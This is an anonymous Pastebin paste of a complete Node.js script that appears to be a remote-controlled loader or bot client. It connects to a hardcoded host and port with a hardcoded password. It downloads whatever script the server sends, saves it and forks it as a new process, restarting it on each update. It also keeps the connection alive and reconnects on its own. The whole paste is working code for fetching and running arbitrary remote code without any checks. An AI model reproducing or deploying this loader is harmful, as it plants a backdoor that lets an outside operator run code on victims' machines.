SHARE
TWEET

Untitled

a guest Nov 23rd, 2015 211 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*global  */
  2. var net = require('net');
  3. var fs = require('fs');
  4. var path = require('path');
  5. var cp = require('child_process');
  6. var process = require('process');
  7.  
  8. function logToFile(str) {
  9.   console.log(str);
  10.   fs.appendFileSync('err.log', str + "\r\n\r\n");
  11. }
  12.  
  13. function getRandomInt(min, max) {
  14.   return Math.floor(Math.random() * (max - min + 1)) + min;
  15. }
  16.  
  17. /* todo uncomment
  18. process.on('uncaughtException', function(err) {
  19.   var str = new Error().stack.toString();
  20.   str = 'uncaughtException: ' + str;
  21.   console.log(str);
  22.   try {
  23.     fs.appendFileSync("err.log", str + "\r\n\r\n");
  24.   } catch (e) {
  25.     console.log("WTF");
  26.   }
  27. });
  28. */
  29.  
  30. var config = {
  31.   host : "defaultcow.com",
  32.   port : "58111",
  33.   sentinel : '\0',
  34.   pass : 'rmcrMPq1NKdE5vRFNBNq',
  35.   conRetryTimeoutOnEnd: 1,              //seconds
  36.   conRetryTimeoutOnErr: 1,               //seconds  todo set to 10
  37.   scriptPath: "script.js",
  38.   versionPath: "version.txt",
  39.  
  40.   serverMaxTimeout: 15,         //minutes
  41.   sendAliveMin: 10,
  42.   sendAliveMax: 13
  43. };
  44.  
  45. var ScriptManager = function(scriptPath, versionPath) {
  46.   var cv = function() {
  47.     var version;
  48.     try {
  49.       version = fs.readFileSync(versionPath);
  50.     } catch (e) {
  51.       return null;
  52.     }
  53.     return version.toString();
  54.   };
  55.  
  56.   var cs = function() {
  57.     var script;
  58.     try {
  59.       script = fs.readFileSync(scriptPath);
  60.     } catch (e) {
  61.       return null;
  62.     }
  63.     return script.toString();
  64.   };
  65.  
  66.   var currentVersion = cv();
  67.   var currentScript = cs();
  68.  
  69.   this.setCurrentScriptAndVersion = function(script, version) {
  70.     currentVersion = version;
  71.     currentScript = script;
  72.  
  73.     try {
  74.       fs.writeFileSync(scriptPath, script);
  75.       fs.writeFileSync(versionPath, version);
  76.     } catch(e) {
  77.       logToFile(e.toString());
  78.     }
  79.  
  80.   };
  81.  
  82.   this.getCurrentVersion = function() {
  83.     if (currentScript && currentScript.length > 0) {
  84.       return currentVersion;
  85.     }
  86.     return null;
  87.  };
  88.  
  89.   this.getCurrentScript = function() {
  90.     return currentScript;
  91.   };
  92.  
  93. };
  94.  
  95. var Server = function(host, port, pass, sentinel) {
  96.  
  97.   var sendStr = function(str, sentinel) {
  98.     socket.write(str);
  99.     socket.write(sentinel);
  100.   };
  101.  
  102.   this.disconnect = function() {
  103.     socket.end();
  104.   };
  105.  
  106.   var extractAllMsgsFrom = function(recData, sentinel) {
  107.     var arr = [];
  108.     while (true) {
  109.       var split = recData.indexOf(sentinel);
  110.       if (split === -1) {
  111.         break;
  112.       }
  113.       var msg = recData.substring(0, split);
  114.       recData = recData.substring(split + 1);
  115.       arr.push(msg);
  116.     }
  117.     return arr;
  118.   };
  119.  
  120.   var deleteAllMsgsFrom = function(recData, sentinel) {
  121.     var split = recData.lastIndexOf(config.sentinel);
  122.     if (split === -1) {
  123.       return recData;
  124.     }
  125.  
  126.     return recData.substring(split + 1);
  127.   };
  128.  
  129.   this.setEventHandlers = function(onConnect, onMsg, onClose) {
  130.     this.onConnect = onConnect ? onConnect : function() {};
  131.     this.onMsg = onMsg ? onMsg : function() {};
  132.     this.onClose = onClose ? onClose : function() {};
  133.   };
  134.  
  135.   this.sendAlive = function() {
  136.     // need random so that server is not kind of ddos-ed
  137.     var server = this;
  138.     var nMinutes = getRandomInt(config.sendAliveMin, config.sendAliveMax);
  139.     setTimeout(function() {
  140.       server.sendMsg({
  141.         type: 'KEEPALIVE'
  142.       });
  143.     }, nMinutes * 60 * 1000);
  144.   };
  145.  
  146.   this.connect = function() {
  147.     var server = this;
  148.  
  149.     socket = net.connect(this.port, this.host, function() {
  150.       sendStr(server.pass, server.sentinel);
  151.       server.onConnect(server);
  152.       //      socket.setKeepAlive(true, 10 * 1000); // maybe not needed
  153.       server.sendAlive();
  154.     });
  155.  
  156.     socket.setTimeout(config.serverMaxTimeout * 60 * 1000);
  157.  
  158.     socket.on('timeout', function() {
  159.       logToFile('timeout on socket');
  160.       socket.destroy();
  161.     });
  162.  
  163.     var recData = '';
  164.  
  165.     socket.on('data', function(data) {
  166.       data = data.toString();
  167.       recData += data;
  168.       var msgs = extractAllMsgsFrom(recData, server.sentinel);
  169.       if (msgs.length === 0) {
  170.         return;
  171.       }
  172.       for (var i = 0; i < msgs.length; i++) {
  173.         var msg = msgs[i];
  174.         server.onMsg(server, msg);
  175.       }
  176.       recData = deleteAllMsgsFrom(recData, server.sentinel);
  177.     });
  178.  
  179.     socket.on('error', function(err) {
  180.       logToFile(err);
  181.     });
  182.  
  183.     socket.on('end', function() {
  184.       socket.end();
  185.     });
  186.  
  187.     socket.on('close', function(err) {
  188.       server.onClose(server, err);
  189.     });
  190.  
  191.   };
  192.  
  193.   this.sendMsg = function(msg) {
  194.     var str = '';
  195.     try {
  196.       str = JSON.stringify(msg);
  197.     } catch (e) {
  198.       logToFile(e);
  199.       str = 'JSON stringify error';
  200.     }
  201.     sendStr(str, this.sentinel);
  202.   };
  203.  
  204.   this.setEventHandlers(null, null, null, null);
  205.   this.host = host;
  206.   this.port = port;
  207.   this.sentinel = sentinel;
  208.   this.pass = pass;
  209.  
  210.   var socket = null;
  211. };
  212.  
  213. var ScriptExecutor = function(scriptName) {
  214.   var scriptPath = path.join(__dirname, scriptName);
  215.   var started = false;
  216.  
  217.   var se = this;
  218.  
  219.   var currentPid;
  220.   var proc;
  221.   this.start = function() {
  222.     started = true;
  223.     console.log("started true");
  224.     proc = cp.fork(scriptPath);
  225.     currentPid = proc.pid;
  226.     proc.started = true;
  227.     var se = this;
  228.     proc.on('exit', function(code) {
  229.       console.log("started false. exit");
  230.       if (this.pid == currentPid) {
  231.         started = false;
  232.       }
  233.     });
  234.     proc.on('error', function(err) {
  235.       console.log("started false. error");
  236.       if (this.pid == currentPid) {
  237.         started = false;
  238.       }
  239.     });
  240.     return proc;
  241.   };
  242.  
  243.   this.kill = function() {
  244.     proc.kill();
  245.   };
  246.  
  247.   this.isStarted = function() {
  248.     return started;
  249.   };
  250.  
  251. };
  252.  
  253. function onConnect(server) {
  254.   server.sendMsg({
  255.     type: 'UPDATE_REQUEST',
  256.     version: sm.getCurrentVersion()
  257.   });
  258. }
  259.  
  260. function onMsg(server, msg) {
  261.   try {
  262.     msg = JSON.parse(msg);
  263.   } catch (e) {
  264.     logToFile(msg.toString());
  265.     server.disconnect();        // onEnd callback will be called later
  266.     return;
  267.   }
  268.  
  269.   if (msg.type && msg.type == 'KEEPALIVE') {
  270.     server.sendAlive();
  271.     return;
  272.   }
  273.  
  274.   if (msg.conRetryTimeout && msg.conRetryTimeout > 0) {
  275.     config.conRetryTimeout = msg.conRetryTimeout;
  276.     server.disconnect();
  277.   }
  278.  
  279.  
  280.   if (!msg.type || msg.type !== 'UPDATE_RESPONSE') {
  281.     return;
  282.   }
  283.  
  284.   if (msg.script && msg.version) {
  285.     sm.setCurrentScriptAndVersion(msg.script, msg.version);
  286.     // start the script. restart if running
  287.     if (se.isStarted()) {
  288.       se.kill();
  289.       console.log("killing");
  290.     }
  291.     console.log("starting");    
  292.     se.start();
  293.   } else {
  294.     // start the script. don't restart if running
  295.     if (!se.isStarted()) {
  296.       se.start();
  297.       console.log("starting. not killing");    
  298.     }
  299.   }
  300. }
  301.  
  302. function onClose(server, err) {
  303.   var time = 0;
  304.   if (err) {
  305.     logToFile(err);
  306.     time = config.conRetryTimeoutOnEnd * 1000;
  307.   } else {
  308.     time = config.conRetryTimeoutOnErr * 1000;
  309.   }
  310.   setTimeout(function() {
  311.     server.connect();
  312.   }, time);
  313. }
  314.  
  315. var sm = new ScriptManager(config.scriptPath, config.versionPath);
  316. var se = new ScriptExecutor(config.scriptPath);
  317. var con = new Server(config.host, config.port, config.pass, config.sentinel);
  318. con.setEventHandlers(onConnect, onMsg, onClose);
  319. con.connect();
RAW Paste Data
Top